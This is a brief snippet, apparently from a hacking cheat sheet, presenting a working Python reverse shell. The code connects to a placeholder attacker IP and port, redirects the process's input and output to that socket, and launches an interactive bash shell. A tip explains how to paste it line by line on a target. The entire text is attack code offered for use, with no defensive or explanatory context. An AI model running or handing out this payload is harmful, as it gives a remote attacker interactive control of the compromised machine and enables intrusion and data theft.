Use the following for a quick Python reverse shell (you can use echo ‘textbelow’ line by line)

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("IP",PORT));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);